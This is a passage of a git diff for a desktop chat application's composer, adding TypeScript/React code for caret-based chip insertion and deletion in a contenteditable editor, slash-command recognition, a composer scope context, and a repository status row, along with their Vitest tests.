+  // and demotes it. `@` refs need no marker — REF_RE re-chips them either way.
+  if ((fragment.lastChild as HTMLElement | null)?.dataset?.slashKind) {
+    fragment.append(document.createTextNode(' '))
+  }
+
+  const tail = fragment.lastChild
+
+  if (hit) {
+    hit.range.insertNode(fragment)
+  } else {
+    editor.append(fragment)
+  }
+
+  if (tail) {
+    const caret = document.createRange()
+    caret.setStartAfter(tail)
+    caret.collapse(true)
+    const selection = hit?.selection ?? window.getSelection()
+    selection?.removeAllRanges()
+    selection?.addRange(caret)
+  }
+}
+
+/** Range covering exactly `length` serialized characters immediately before a
+ *  collapsed caret, spanning Chromium's split text nodes. Null when the caret
+ *  isn't a collapsed selection in `editor`, or when a chip/<br>/block boundary
+ *  interrupts before `length` characters are covered — a trigger token is
+ *  always contiguous text, so anything else means "don't touch the DOM here".
+ *
+ *  This is what keeps chip insertion stable: Chromium fragments text nodes
+ *  around contenteditable=false chips on every edit, so any commit path that
+ *  demands the whole token inside ONE text node (the old check) degrades to a
+ *  full re-render as soon as a chip exists anywhere in the line. */
+export function rangeBeforeCaret(editor: HTMLElement, length: number): Range | null {
+  const hit = composerSelectionRange(editor)
+
+  if (!hit?.range.collapsed || length <= 0) {
+    return null
+  }
+
+  let node: Node | null = hit.range.startContainer
+  let offset = hit.range.startOffset
+
+  // An element-positioned caret (common right after programmatic caret moves)
+  // resolves to the end of the text node before it. A chip or <br> there means
+  // no text token precedes the caret — bail rather than guess.
+  if (node.nodeType !== Node.TEXT_NODE) {
+    node = node.childNodes[offset - 1] ?? null
+
+    if (node?.nodeType !== Node.TEXT_NODE) {
+      return null
+    }
+
+    offset = (node.textContent || '').length
+  }
+
+  let startNode = node as Text
+  let startOffset = offset
+  let remaining = length
+
+  while (remaining > 0) {
+    if (startOffset >= remaining) {
+      startOffset -= remaining
+      remaining = 0
+
+      break
+    }
+
+    remaining -= startOffset
+
+    const prev: Node | null = startNode.previousSibling
+
+    if (prev?.nodeType !== Node.TEXT_NODE) {
+      return null
+    }
+
+    startNode = prev as Text
+    startOffset = (prev.textContent || '').length
+  }
+
+  const range = document.createRange()
+
+  range.setStart(startNode, startOffset)
+  range.setEnd(hit.range.startContainer, hit.range.startOffset)
+
+  return range
+}
+
+/** Swap the `length` characters immediately before a collapsed caret for
+ *  `fragment`, leaving the caret after it. Returns whether it ran. Spans split
+ *  text nodes (see rangeBeforeCaret) — a token typed around existing chips
+ *  still commits in place instead of falling back to a full re-render. */
+export function replaceBeforeCaret(editor: HTMLElement, length: number, fragment: DocumentFragment) {
+  const range = rangeBeforeCaret(editor, length)
+
+  if (!range) {
+    return false
+  }
+
+  const tail = fragment.lastChild
+
+  range.deleteContents()
+  range.insertNode(fragment)
+
+  if (tail) {
+    range.setStartAfter(tail)
+  }
+
+  range.collapse(true)
+
+  const selection = window.getSelection()
+
+  selection?.removeAllRanges()
+  selection?.addRange(range)
+
+  return true
+}
+
+/** Backspace at a collapsed caret immediately after a chip: delete the chip AND
+ *  the single trailing space we auto-insert after it, atomically — so removing a
+ *  directive never strands an orphaned space (the contenteditable-driven cleanup
+ *  was unreliable). Returns whether it ran.
+ *
+ *  "Immediately after" has to be read through Chromium's litter. Committing a
+ *  completion empties the typed token's text node rather than removing it, and
+ *  `Range.insertNode` splits around the caret, so the chip routinely sits
+ *  between zero-length text nodes. Reading those as content made the caret look
+ *  like it was after plain text; the delete declined and Chromium's own
+ *  backspace bounced between the leftovers instead of removing the chip. */
+export function deleteChipBeforeCaret(editor: HTMLElement): boolean {
+  const hit = composerSelectionRange(editor)
+
+  if (!hit || !hit.range.collapsed) {
+    return false
+  }
+
+  const { startContainer, startOffset } = hit.range
+  let chip: ChildNode | null = null
+
+  if (startContainer === editor) {
+    chip = startOffset > 0 ? (editor.childNodes[startOffset - 1] ?? null) : null
+
+    if (isEmptyTextNode(chip)) {
+      chip = meaningfulPreviousSibling(chip)
+    }
+  } else if (startContainer.nodeType === Node.TEXT_NODE && startOffset === 0) {
+    chip = meaningfulPreviousSibling(startContainer as ChildNode)
+  }
+
+  if (chip?.nodeType !== Node.ELEMENT_NODE || !(chip as HTMLElement).dataset.refText) {
+    return false
+  }
+
+  const after = meaningfulNextSibling(chip)
+  chip.remove()
+
+  // Drop the auto-inserted trailing space; keep any real following text.
+  if (after?.nodeType === Node.TEXT_NODE) {
+    const text = after.textContent ?? ''
+
+    if (text === ' ') {
+      after.remove()
+    } else if (text.startsWith(' ')) {
+      after.textContent = text.slice(1)
+    }
+  }
+
+  const caret = document.createRange()
+
+  if (after?.isConnected) {
+    caret.setStartBefore(after)
+  } else {
+    caret.selectNodeContents(editor)
+    caret.collapse(false)
+  }
+
+  caret.collapse(true)
+  hit.selection.removeAllRanges()
+  hit.selection.addRange(caret)
+
+  return true
+}
+
+/** Remove a non-collapsed selection in-editor. Skips collapsed carets so word/
+ *  line delete (Opt/Cmd+Backspace) stays native. Returns whether anything ran. */
+export function deleteSelectionInEditor(editor: HTMLElement) {
+  const hit = composerSelectionRange(editor)
+
+  if (!hit || hit.range.collapsed) {
+    return false
+  }
+
+  hit.range.deleteContents()
+  hit.range.collapse(true)
+  hit.selection.removeAllRanges()
+  hit.selection.addRange(hit.range)
+
+  return true
+}
+
+/** Serialize a draft string into chip-HTML for the contenteditable surface. */
+export function composerHtml(text: string) {
+  let cursor = 0
+  let html = ''
+
+  REF_RE.lastIndex = 0
+
+  for (const match of text.matchAll(REF_RE)) {
+    const index = match.index ?? 0
+    html += escapeHtml(text.slice(cursor, index)).replace(/\n/g, '<br>')
+    html += refChipHtml(match[1] || 'file', match[2] || '')
+    cursor = index + match[0].length
+  }
+
+  return html + escapeHtml(text.slice(cursor)).replace(/\n/g, '<br>')
+}
+
+/** Walk a DOM subtree back to the plain `@kind:value` text it represents. */
+export function composerPlainText(node: Node): string {
+  if (node.nodeType === Node.TEXT_NODE) {
+    return node.textContent || ''
+  }
+
+  if (node.nodeType !== Node.ELEMENT_NODE) {
+    return ''
+  }
+
+  const el = node as HTMLElement
+
+  if (el.dataset.refText) {
+    return el.dataset.refText
+  }
+
+  // An editor holding nothing but the placeholder <br> is EMPTY. That <br> is
+  // scaffolding normalizeComposerEditorDom adds so the contenteditable keeps
+  // its height — not a line the user typed. Reading it as "\n" is how a
+  // just-cleared composer stayed non-empty: the newline got stashed as the
+  // session's draft and painted back on return.
+  if (el.dataset.slot === RICH_INPUT_SLOT && el.childNodes.length === 1 && el.firstChild?.nodeName === 'BR') {
+    return ''
+  }
+
+  if (el.tagName === 'BR') {
+    return '\n'
+  }
+
+  const text = Array.from(node.childNodes).map(composerPlainText).join('')
+  const block = el.tagName === 'DIV' || el.tagName === 'P'
+
+  return block && text && el.dataset.slot !== RICH_INPUT_SLOT ? `${text}\n` : text
+}
+
+export function placeCaretEnd(element: HTMLElement) {
+  const range = document.createRange()
+  const selection = window.getSelection()
+
+  range.selectNodeContents(element)
+  range.collapse(false)
+  selection?.removeAllRanges()
+  selection?.addRange(range)
+}
+
+/** The caret's offset in `composerPlainText` coordinates, so it can be restored
+ *  after the editor is re-rendered from text (undo/redo). A chip counts as its
+ *  whole `@kind:value` text — the same units the snapshot measures. */
+export function caretOffsetInEditor(editor: HTMLElement): number {
+  const selection = window.getSelection()
+  const range = selection?.rangeCount ? selection.getRangeAt(0) : null
+
+  if (!range || !editor.contains(range.commonAncestorContainer)) {
+    return composerPlainText(editor).length
+  }
+
+  const before = range.cloneRange()
+  before.selectNodeContents(editor)
+  before.setEnd(range.startContainer, range.startOffset)
+
+  // The scratch container must carry the editor's slot marker: composerPlainText
+  // appends a trailing "\n" to any other block element, which would inflate
+  // every offset by one and land the restored caret a character late.
+  const container = document.createElement('div')
+  container.dataset.slot = RICH_INPUT_SLOT
+  container.append(before.cloneContents())
+
+  return composerPlainText(container).length
+}
+
+/** Place the caret `offset` characters into the editor, in the same
+ *  `composerPlainText` coordinates `caretOffsetInEditor` reports. Lands after a
+ *  chip it would otherwise split, since a chip is a single atomic unit. */
+export function placeCaretAtOffset(editor: HTMLElement, offset: number) {
+  const selection = window.getSelection()
+
+  if (!selection) {
+    return
+  }
+
+  let remaining = offset
+
+  const walk = (node: Node): Range | null => {
+    for (const child of Array.from(node.childNodes)) {
+      if (child.nodeType === Node.TEXT_NODE) {
+        const length = (child.textContent || '').length
+
+        if (remaining <= length) {
+          const range = document.createRange()
+          range.setStart(child, remaining)
+          range.collapse(true)
+
+          return range
+        }
+
+        remaining -= length
+
+        continue
+      }
+
+      if (child.nodeType !== Node.ELEMENT_NODE) {
+        continue
+      }
+
+      const el = child as HTMLElement
+
+      // Chips and <br> are atomic: consume their serialized length whole.
+      if (el.dataset.refText || el.tagName === 'BR') {
+        const length = el.dataset.refText ? el.dataset.refText.length : 1
+
+        if (remaining < length) {
+          const range = document.createRange()
+          range.setStartBefore(el)
+          range.collapse(true)
+
+          return range
+        }
+
+        remaining -= length
+
+        continue
+      }
+
+      const hit = walk(el)
+
+      if (hit) {
+        return hit
+      }
+    }
+
+    return null
+  }
+
+  const range = walk(editor)
+
+  if (range) {
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    return
+  }
+
+  placeCaretEnd(editor)
+}
+
+/** Nothing but a break / whitespace (recursively) — i.e. no real text or chip. */
+function isBlankNode(node: ChildNode | null): boolean {
+  if (!node) {
+    return false
+  }
+
+  if (node.nodeName === 'BR') {
+    return true
+  }
+
+  if (node.nodeType === Node.TEXT_NODE) {
+    return !(node.textContent || '').trim()
+  }
+
+  if (node.nodeType === Node.ELEMENT_NODE) {
+    const el = node as HTMLElement
+
+    return !el.dataset.refText && Array.from(el.childNodes).every(isBlankNode)
+  }
+
+  return false
+}
+
+/** Drop contenteditable junk that serializes as `\n` and falsely expands the
+ *  composer. Editing around a contenteditable=false chip makes Chromium wrap the
+ *  remainder in stray block <div>s / trailing <br>s — none of which our own
+ *  rendering emits (we use text nodes + <br> + chips). Real <br> line breaks
+ *  (Shift+Enter, which sit after actual text) are preserved. */
+export function normalizeComposerEditorDom(editor: HTMLElement) {
+  // Chromium's zero-length text nodes first: every check below reads siblings,
+  // and litter between them makes a chip look like it has text either side.
+  for (const child of Array.from(editor.childNodes)) {
+    if (isEmptyTextNode(child)) {
+      child.remove()
+    }
+  }
+
+  // A trailing block wrapper holding only a break/whitespace is the phantom
+  // "new line" Chromium adds after a chip on backspace — drop it.
+  const tailBlock = editor.lastChild as HTMLElement | null
+
+  if (
+    tailBlock?.nodeType === Node.ELEMENT_NODE &&
+    (tailBlock.tagName === 'DIV' || tailBlock.tagName === 'P') &&
+    isBlankNode(tailBlock)
+  ) {
+    editor.removeChild(tailBlock)
+  }
+
+  // Unwrap a lone block wrapper back to inline content.
+  if (editor.childNodes.length === 1 && editor.firstChild?.nodeType === Node.ELEMENT_NODE) {
+    const wrapper = editor.firstChild as HTMLElement
+
+    if ((wrapper.tagName === 'DIV' || wrapper.tagName === 'P') && wrapper.dataset.slot !== RICH_INPUT_SLOT) {
+      editor.replaceChildren(...Array.from(wrapper.childNodes))
+    }
+  }
+
+  // A trailing <br> right after a chip / only whitespace is a phantom line.
+  const last = editor.lastChild
+
+  if (last?.nodeName === 'BR') {
+    let prev: ChildNode | null = last.previousSibling
+
+    while (prev?.nodeType === Node.TEXT_NODE && !(prev.textContent || '').trim()) {
+      prev = prev.previousSibling
+    }
+
+    if (!prev || (prev as HTMLElement).dataset?.refText) {
+      editor.removeChild(last)
+    }
+  }
+
+  // ContentEditable elements with no children can visually collapse to
+  // near-zero height in some browsers (especially Chromium), causing the
+  // composer to appear as a tiny dot/pixel. Ensure there's always at least
+  // one <br> so the element maintains intrinsic height. The CSS min-height
+  // is a belt; the <br> is suspenders — together they prevent the shrink.
+  // That break is also why emptiness has to be marked, not inferred.
+  markEditorEmptiness(editor)
+
+  if (editor.childNodes.length === 0) {
+    editor.appendChild(document.createElement('br'))
+  }
+}
diff --git a/ui-desktop/src/app/chat/composer/scope.tsx b/ui-desktop/src/app/chat/composer/scope.tsx
new file mode 100644
index 000000000..e7e7aff88
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/scope.tsx
@@ -0,0 +1,45 @@
+import type { ReadableAtom } from 'nanostores'
+import { createContext, useContext } from 'react'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { type ComposerAttachmentScope, mainComposerScope } from '@/store/composer'
+import { $activeSessionAwaitingInput } from '@/store/prompts'
+import { $messages } from '@/store/session'
+
+import type { ComposerTarget } from './focus'
+
+/**
+ * COMPOSER SCOPE — which live composer a ChatBar instance IS. The main chat's
+ * ChatBar runs in the default scope (module-level attachment atom, focus-bus
+ * target 'main', the active session's awaiting-input edge). A session tile
+ * mounts its ChatBar under its own scope, so N composers coexist: separate
+ * attachment chips, separate focus/insert routing, separate Esc semantics.
+ *
+ * Draft TEXT needs no scoping — it lives in each ChatBar's contentEditable +
+ * draftRef and stashes per session key (`stashSessionDraft`), which already
+ * differs per surface.
+ */
+export interface ComposerScope {
+  /** This scope's "turn parked on user input" edge — gates Esc-to-stop. */
+  $awaitingInput: ReadableAtom<boolean>
+  attachments: ComposerAttachmentScope
+  /** This scope's transcript. Read it imperatively (input-history browse) to
+   *  keep streaming out of the composer's renders; subscribe only off-render
+   *  (auto-speak) where the reply edge is the whole point. */
+  $messages: ReadableAtom<ChatMessage[]>
+  /** Focus-bus routing key (`'main'` | `'tile:<id>'`). */
+  target: ComposerTarget
+}
+
+export const MAIN_COMPOSER_SCOPE: ComposerScope = {
+  $awaitingInput: $activeSessionAwaitingInput,
+  $messages,
+  attachments: mainComposerScope,
+  target: 'main'
+}
+
+const ComposerScopeContext = createContext<ComposerScope>(MAIN_COMPOSER_SCOPE)
+
+export const ComposerScopeProvider = ComposerScopeContext.Provider
+
+export const useComposerScope = (): ComposerScope => useContext(ComposerScopeContext)
diff --git a/ui-desktop/src/app/chat/composer/slash-nav-dom-repro.test.tsx b/ui-desktop/src/app/chat/composer/slash-nav-dom-repro.test.tsx
new file mode 100644
index 000000000..d2f7f8fef
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/slash-nav-dom-repro.test.tsx
@@ -0,0 +1,186 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, fireEvent, render } from '@testing-library/react'
+import { useCallback, useEffect, useRef, useState } from 'react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useLiveCompletionAdapter } from './hooks/use-live-completion-adapter'
+import { detectTrigger, type TriggerState } from './text-utils'
+
+// Faithful mirror of index.tsx's trigger wiring, driven through REAL DOM
+// keydown+keyup events on a contentEditable. Exercises the parts a direct
+// reducer-call repro misses: the keyup -> refreshTrigger path, the
+// keydown-set "consumed" ref that guards it, and per-press keydown+keyup
+// ordering (critical for Escape, whose keydown nulls `trigger` before keyup).
+function Harness({
+  onState
+}: {
+  onState: (s: { active: number; items: readonly Unstable_TriggerItem[]; open: boolean }) => void
+}) {
+  const editorRef = useRef<HTMLDivElement>(null)
+  const triggerKeyConsumedRef = useRef(false)
+  const [trigger, setTrigger] = useState<TriggerState | null>(null)
+  const [triggerActive, setTriggerActive] = useState(0)
+  const [triggerItems, setTriggerItems] = useState<readonly Unstable_TriggerItem[]>([])
+
+  const { adapter } = useLiveCompletionAdapter({
+    enabled: true,
+    debounceMs: 0,
+    fetcher: async (query: string) => ({
+      query,
+      items: Array.from({ length: 5 }, (_, i) => ({ text: `/cmd${i}`, display: `/cmd${i}`, meta: '' }))
+    }),
+    toItem: (entry, index) => ({ id: `${entry.text}|${index}`, type: 'slash', label: entry.text.slice(1) })
+  })
+
+  const triggerAdapter: Unstable_TriggerAdapter | null = trigger?.kind === '/' ? adapter : null
+
+  const refreshTrigger = useCallback(() => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return
+    }
+
+    const raw = editor.textContent ?? ''
+
+    if (!raw.includes('@') && !raw.includes('/')) {
+      if (trigger) {
+        setTrigger(null)
+        setTriggerActive(0)
+      }
+
+      return
+    }
+
+    const detected = detectTrigger(raw)
+    setTrigger(detected)
+
+    if (detected?.kind !== trigger?.kind || detected?.query !== trigger?.query) {
+      setTriggerActive(0)
+    }
+  }, [trigger])
+
+  useEffect(() => {
+    if (!trigger || !triggerAdapter?.search) {
+      setTriggerItems([])
+
+      return
+    }
+
+    setTriggerItems(triggerAdapter.search(trigger.query))
+  }, [trigger, triggerAdapter])
+
+  useEffect(() => {
+    setTriggerActive(idx => Math.min(idx, Math.max(0, triggerItems.length - 1)))
+  }, [triggerItems.length])
+
+  onState({ active: triggerActive, items: triggerItems, open: trigger !== null })
+
+  const closeTrigger = () => {
+    setTrigger(null)
+    setTriggerItems([])
+    setTriggerActive(0)
+  }
+
+  // Exact copies of index.tsx handlers, including the keydown-set "consumed"
+  // ref that the keyup consults.
+  const handleKeyDown = (event: React.KeyboardEvent<HTMLDivElement>) => {
+    if (trigger && triggerItems.length > 0) {
+      if (event.key === 'ArrowDown') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        setTriggerActive(idx => (idx + 1) % triggerItems.length)
+
+        return
+      }
+
+      if (event.key === 'ArrowUp') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        setTriggerActive(idx => (idx - 1 + triggerItems.length) % triggerItems.length)
+
+        return
+      }
+
+      if (event.key === 'Escape') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        closeTrigger()
+
+        return
+      }
+    }
+  }
+
+  const handleKeyUp = () => {
+    if (triggerKeyConsumedRef.current) {
+      triggerKeyConsumedRef.current = false
+
+      return
+    }
+
+    // index.tsx defers via setTimeout(refreshTrigger, 0); call synchronously
+    // here so the test deterministically observes the keyup-driven refresh.
+    refreshTrigger()
+  }
+
+  return (
+    <div
+      contentEditable
+      data-testid="editor"
+      onInput={() => refreshTrigger()}
+      onKeyDown={handleKeyDown}
+      onKeyUp={handleKeyUp}
+      ref={editorRef}
+      suppressContentEditableWarning
+    />
+  )
+}
+
+async function flush() {
+  await act(async () => {
+    await new Promise(r => setTimeout(r, 20))
+  })
+}
+
+describe('slash menu navigation — real DOM keydown+keyup', () => {
+  it('cycles through ALL items and Esc closes (and stays closed)', async () => {
+    vi.useRealTimers()
+    let latest = { active: 0, items: [] as readonly Unstable_TriggerItem[], open: false }
+    const { getByTestId } = render(<Harness onState={s => (latest = s)} />)
+    const editor = getByTestId('editor')
+
+    // Simulate typing '/'.
+    await act(async () => {
+      editor.textContent = '/'
+      fireEvent.input(editor)
+    })
+    await flush()
+
+    expect(latest.open).toBe(true)
+    expect(latest.items.length).toBe(5)
+
+    // ArrowDown 6x with REAL keydown+keyup pairs. Bug = stuck [0,1,0,1,...].
+    const seen: number[] = [latest.active]
+
+    for (let i = 0; i < 6; i++) {
+      await act(async () => {
+        fireEvent.keyDown(editor, { key: 'ArrowDown' })
+        fireEvent.keyUp(editor, { key: 'ArrowDown' })
+        await Promise.resolve()
+      })
+      seen.push(latest.active)
+    }
+
+    expect(seen).toEqual([0, 1, 2, 3, 4, 0, 1])
+
+    // Escape: keydown closes; keyup must NOT reopen (the '/' is still in text).
+    await act(async () => {
+      fireEvent.keyDown(editor, { key: 'Escape' })
+      fireEvent.keyUp(editor, { key: 'Escape' })
+      await Promise.resolve()
+    })
+    await flush()
+    expect(latest.open).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/slash-refs.test.ts b/ui-desktop/src/app/chat/composer/slash-refs.test.ts
new file mode 100644
index 000000000..2b50d7508
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/slash-refs.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, it } from 'vitest'
+
+import { slashCommandMatches } from './slash-refs'
+
+const commands = (text: string, options?: Parameters<typeof slashCommandMatches>[1]) =>
+  slashCommandMatches(text, options).map(match => `${match.kind}:${match.command}`)
+
+describe('slashCommandMatches', () => {
+  it('recognizes a leading command and a skill named mid-prose', () => {
+    expect(commands('/some-skill clean this with /other-skill please')).toEqual([
+      'skill:/some-skill',
+      'skill:/other-skill'
+    ])
+  })
+
+  it('leaves a path alone — /usr/local/bin is not a command', () => {
+    expect(commands('see /usr/local/bin ')).toEqual([])
+  })
+
+  it('holds a trailing token as still-typed unless the text is inert', () => {
+    expect(commands('/some-skill')).toEqual([])
+    expect(commands('/some-skill', { trailingCommitted: true })).toEqual(['skill:/some-skill'])
+  })
+
+  it('leaves an arg-taking command as text — its tail may be prose', () => {
+    expect(commands('/goal ship the redesign')).toEqual([])
+  })
+
+  it('leaves a command with no desktop surface as text', () => {
+    expect(commands('/exit now')).toEqual([])
+  })
+
+  it('offers a built-in only as an invocation, never mid-message', () => {
+    // Mirrors what the popover offers: `/new` acts on the app, so it means
+    // nothing dropped into a sentence, while a skill reads as "handle this
+    // part with X".
+    expect(commands('/new ')).toEqual(['command:/new'])
+    expect(commands('start over with /new ')).toEqual([])
+    expect(commands('start over with /some-skill ')).toEqual(['skill:/some-skill'])
+  })
+
+  it('disqualifies a leading token when the text lands mid-word', () => {
+    expect(commands('/some-skill ', { boundaryBefore: false })).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/slash-refs.ts b/ui-desktop/src/app/chat/composer/slash-refs.ts
new file mode 100644
index 000000000..db0cf42ad
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/slash-refs.ts
@@ -0,0 +1,105 @@
+/**
+ * Slash-command recognition for text the composer did not watch being typed —
+ * a paste, a restored draft, an undo step, a rebuilt line.
+ *
+ * The typed path chips a command as it's picked or accepted, so the composer
+ * agrees with what the sent message renders (`SLASH_SKILL_RE` in
+ * directive-text). Text that arrives whole never passed through that path, so
+ * it needs the same commands recognized in place — on exactly the terms the
+ * typed path would have used, or hydration invents pills the popover would
+ * never have committed.
+ */
+import type { SlashChipKind } from '@/components/assistant-ui/directive-text'
+import {
+  desktopSlashCommandArgumentMode,
+  isDesktopSlashCommand,
+  resolveDesktopCommand
+} from '@/lib/desktop-slash-commands'
+
+// A command token starts a word and doesn't continue into a path: `/usr/local`
+// is a path, not a `/usr` command. Same shape the sent message uses to decide
+// what renders as a pill, so the composer and the transcript agree.
+const SLASH_COMMAND_RE = /(?<=^|\s)\/([a-zA-Z][\w-]*)(?![\w-]*\/)/g
+
+export interface SlashCommandMatch {
+  /** The command with its leading slash, e.g. `/clean`. */
+  command: string
+  end: number
+  kind: SlashChipKind
+  start: number
+}
+
+export interface SlashCommandScanOptions {
+  /**
+   * Whether the text is preceded by a token boundary. False when it's being
+   * inserted mid-word (a paste landing against existing characters), which
+   * disqualifies a token at index 0 — `foo/clean` is not a command. It also
+   * makes that token mid-message rather than an invocation.
+   */
+  boundaryBefore?: boolean
+  /**
+   * Whether a token ending the text counts as committed. True for inert text
+   * (a paste, dropped content): nothing is being typed, so `/clean` at the end
+   * is the whole command. False while editing live, where a trailing `/wor` is
+   * a half-typed query the popover owns and must leave editable.
+   */
+  trailingCommitted?: boolean
+}
+
+/**
+ * Only commands with NO argument stage chip: their committed pill is exactly
+ * the bare `/name`, so the boundary is unambiguous. Arg-taking commands
+ * (`/goal ship it`) stay text — their tail may be prose. Commands with no
+ * desktop surface at all (`/exit`, `/config`) stay text too.
+ */
+function chippableKind(command: string): SlashChipKind | null {
+  if (!isDesktopSlashCommand(command) || desktopSlashCommandArgumentMode(command) !== null) {
+    return null
+  }
+
+  return resolveDesktopCommand(command) ? 'command' : 'skill'
+}
+
+/** Every `/command` in `text` that should render as a pill, in source order. */
+export function slashCommandMatches(text: string, options: SlashCommandScanOptions = {}): SlashCommandMatch[] {
+  const { boundaryBefore = true, trailingCommitted = false } = options
+
+  if (!text.includes('/')) {
+    return []
+  }
+
+  const matches: SlashCommandMatch[] = []
+
+  for (const match of text.matchAll(SLASH_COMMAND_RE)) {
+    const start = match.index ?? 0
+    const command = match[0]
+    const end = start + command.length
+    const after = text[end]
+
+    // A committed pill always carries its auto-inserted trailing space, which
+    // is what separates it from a token still being typed.
+    if (after === undefined ? !trailingCommitted : !/\s/.test(after)) {
+      continue
+    }
+
+    // Only the FIRST token can be an invocation, and only when the text lands
+    // on a token boundary — `foo` + a pasted `/clean` is `foo/clean`.
+    const invocation = start === 0
+
+    if (invocation && !boundaryBefore) {
+      continue
+    }
+
+    const kind = chippableKind(command)
+
+    // Later tokens are references dropped into prose, where the popover offers
+    // SKILLS alone — a built-in like `/new` acts on the app and means nothing
+    // mid-sentence. Hydration has to agree, or pasted text grows pills typing
+    // never would.
+    if (kind && (invocation || kind === 'skill')) {
+      matches.push({ command, end, kind, start })
+    }
+  }
+
+  return matches
+}
diff --git a/ui-desktop/src/app/chat/composer/status-stack/coding-row.test.tsx b/ui-desktop/src/app/chat/composer/status-stack/coding-row.test.tsx
new file mode 100644
index 000000000..326cdfcfd
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/coding-row.test.tsx
@@ -0,0 +1,93 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $notifications, clearNotifications } from '@/store/notifications'
+
+vi.mock('@/store/coding-status', () => ({
+  registerRepoStatusCwd: () => undefined,
+  repoStatusForCwd: () =>
+    atom({
+      added: 12,
+      ahead: 0,
+      behind: 0,
+      branch: 'bb/hitbox',
+      defaultBranch: 'main',
+      detached: false,
+      removed: 3,
+      untracked: 0
+    }),
+  repoWorktreesForCwd: () => atom([])
+}))
+
+const { CodingStatusRow } = await import('./coding-row')
+
+describe('CodingStatusRow', () => {
+  afterEach(() => {
+    cleanup()
+  })
+
+  it('opens the review pane from the branch and the diff counts, never the bar itself', () => {
+    const onOpen = vi.fn()
+
+    const { container } = render(<CodingStatusRow onOpen={onOpen} repoPath="/repo" />)
+
+    const bar = container.querySelector<HTMLElement>('.coding-status-bar')
+
+    expect(bar).not.toBeNull()
+
+    fireEvent.click(bar!)
+    expect(onOpen).not.toHaveBeenCalled()
+
+    fireEvent.click(screen.getByText('bb/hitbox'))
+    expect(onOpen).toHaveBeenCalledTimes(1)
+
+    fireEvent.click(screen.getByText('12'))
+    expect(onOpen).toHaveBeenCalledTimes(2)
+  })
+
+  it('wraps the click targets without adding a layout box', () => {
+    const { container } = render(<CodingStatusRow onOpen={() => undefined} repoPath="/repo" />)
+
+    // `display: contents` is what keeps the branch label and the counts direct
+    // flex children of the row — the hit areas cost nothing visually.
+    expect(screen.getByText('bb/hitbox').parentElement?.classList.contains('contents')).toBe(true)
+    expect(screen.getByText('12').closest('button')?.classList.contains('contents')).toBe(true)
+    // The glyph button fills the row's existing 3.5 leading slot exactly.
+    expect(container.querySelector('button[class~="size-3.5"]')).not.toBeNull()
+  })
+
+  it('parks the copy glyph against the end of the path, not the end of the row', () => {
+    render(<CodingStatusRow onOpen={() => undefined} repoPath="/Users/someone/www/repo" />)
+
+    const path = screen.getByText('~/www/repo')
+
+    // The path sizes to its content and the glyph is its immediate sibling, so
+    // the pair reads as one unit. `flex-1` belongs to the wrapper (which holds
+    // the row's slack open) — on the label it stretched the text and pushed the
+    // glyph out to the kebab.
+    expect(path.classList.contains('flex-1')).toBe(false)
+    expect(path.parentElement?.classList.contains('flex-1')).toBe(true)
+    expect(path.nextElementSibling?.tagName).toBe('BUTTON')
+  })
+
+  it('copies the absolute cwd inline — checkmark feedback, no toast', async () => {
+    const writeText = vi.fn().mockResolvedValue(undefined)
+    Object.defineProperty(navigator, 'clipboard', { configurable: true, value: { writeText } })
+    clearNotifications()
+
+    render(<CodingStatusRow onOpen={() => undefined} repoPath="/Users/someone/www/repo" />)
+
+    // Painted tildified, copied raw.
+    expect(screen.getByText('~/www/repo')).toBeTruthy()
+
+    const copy = screen.getByRole('button', { name: 'Copy Path' })
+
+    fireEvent.click(copy)
+
+    await waitFor(() => expect(writeText).toHaveBeenCalledWith('/Users/someone/www/repo'))
+    // Confirmation is the button turning into a checkmark, not a notification.
+    await waitFor(() => expect(screen.getByRole('button', { name: 'Copied' })).toBeTruthy())
+    expect($notifications.get()).toHaveLength(0)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/status-stack/coding-row.tsx b/ui-desktop/src/app/chat/composer/status-stack/coding-row.tsx
new file mode 100644
index 000000000..01256e52b
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/coding-row.tsx
@@ -0,0 +1,311 @@
+import { useStore } from '@nanostores/react'
+import { memo, useEffect } from 'react'
+
+import { StatusRow } from '@/components/chat/status-row'
+import {
+  type ActionItemSpec,
+  ActionsContextMenu,
+  ActionsMenu,
+  type MenuKit,
+  renderActionItem
+} from '@/components/ui/actions-menu'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { CopyButton } from '@/components/ui/copy-button'
+import { DiffCount } from '@/components/ui/diff-count'
+import type { ClawCodexGitBranch } from '@/global'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { openWorktreeDialog, registerRepoStatusCwd, repoStatusForCwd, repoWorktreesForCwd } from '@/store/coding-status'
+import { notifyError } from '@/store/notifications'
+
+// Tiny uppercase section header, matching the composer "+" menu's labels.
+const MENU_SECTION = 'text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary)'
+
+interface CodingStatusRowProps {
+  /** Branch the current draft off into a fresh worktree + session, based on
+   *  `base` (a branch name; omitted = current HEAD). The composer owns the
+   *  draft, so it supplies the orchestration; the row just collects the new
+   *  branch name + base. Omitted (e.g. remote backend) hides the affordance. */
+  onBranchOff?: (branch: string, base?: string) => Promise<void>
+  /** Check an existing branch out into a fresh worktree + session (no new
+   *  branch). Drives the dialog's "convert a branch" picker. */
+  onConvertBranch?: (branch: string, path?: null | string, isDefault?: boolean) => Promise<void>
